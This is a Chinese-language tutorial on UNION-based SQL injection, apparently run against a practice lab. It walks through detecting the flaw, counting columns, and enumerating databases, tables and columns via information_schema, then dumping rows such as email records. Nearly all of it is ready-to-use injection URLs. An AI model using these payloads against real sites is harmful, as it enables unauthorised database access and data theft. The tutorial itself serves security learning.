union注入
union注入
更多内容请看此链接://blog.csdn.net/weixin_45380284
1.判断是否存在注入:
方法一:
单引号法——在url最后加一个单引号,如:
//www.123456.com/web/union.php?id=1‘
页面不正常,浏览器返回异常信息说明该链接会存在注入漏洞。
方法二:
1=1和1=2法,如:
//www.123456.com/web/union.php?id=1 and 1=1
URL://www.123456.com/web/union.php?id=1 and 1=2
如果返回不同的页面,那么说明存在SQL注入漏洞。
2.使用order by 1-99 来查询该数据表字段数
方法;
Id=1 order by 1-99 来判断字段数,例如:
//www.tianchi.com/web/union.php?id=1 order by 3
发现当id=1 order by 3时,页面返回与id=1相同的结果;而id=1 order by 4时不一样,故字段数量是3。
3.查询sql语句插入位置:
//www.tianchi.com/web/union.php? id=-1 union select 1,2,3
通过浏览器返回的值判断;如果返回2:3则说明2、3位置可以插入sql语句
4.获取数据库名:
1.获取当前数据库库名:
将id=-1 union select 1,2,3中2的位置改为database() 如:
//www.tianchi.com/web/union.php?id=-1 union select 1,database(),3
2.获取所有数据库库名
//www.tianchi.com/web/union.php?id=-1 union select
1,group_concat(char(32,58,32),schema_name),3 from information_schema.schemata
3.逐条获取数据库库名
语句:select schema_name from information_schema.schemata limit 0,1;
//www.tianchi.com/web/union.php?id=-1 union select 1,(select schema_name from information_schema.schemata limit 0,1),3
修改limit中第一个数字,如获取第二个库名:limit 1,1。
数据库库名:
information_schema,challenges,dedecmsv57utf8sp2,dvwa,mysql,performance_schema,security,test,xssplatform
5.获取数据库表名:
(1)方法一:
获取数据库表名,这种方式一次获取一个表名,2位置修改为:
select table_name from information_schema.tables where table_schema=’security’ limit 0,1;
URL://www.tianchi.com/web/union.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema=’security’ limit 0,1),3
修改limit中第一个数字,如获取第二个表名:limit 1,1,这样就可以获取所有的表名。
表名是:emails,referers,uagents,users。
(2)方法二:
一次性获取当前数据库所有表名:
//www.tianchi.com/web/union.php?id=-1 union select
1,group_concat(char(32,58,32),table_name),3 from information_schema.tables where table_schema=’security’
6.取字段名
(1)方法一:
获取字段名,以emails表为例,2位置修改为:
select column_name from information_schema.columns where table_schema=’security’ and table_name=’emails’ limit 0,1;
URL://www.tianchi.com/web/union.php?id=-1 union select 1,(select column_name from information_schema.columns where table_schema=’security’ and table_name=’emails’ limit 0,1),3
修改limit中第一个数字,如获取第二个字段名:limit 1,1
字段名:id,email_id。
(2)方法二:
以emails表为例,一次性获取所有字段名:
URL://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),column_name),3 from information_schema.columns where table_schema=’security’ and table_name=’emails’
7.获取数据
(1)方法一:
获取数据,以emails表为例,2,3位置分别修改为:
(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)
获取emails表第一,第二条数据:
URL://www.tianchi.com/web/union.php?id=-1 union select
1,(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)
(2)方法二:
以emails表为例,一次性获取所有数据:
URL://www.tianchi.com/web/union.php?id=-1 union select
1,group_concat(char(32,58,32),id,email_id),3 from security.emails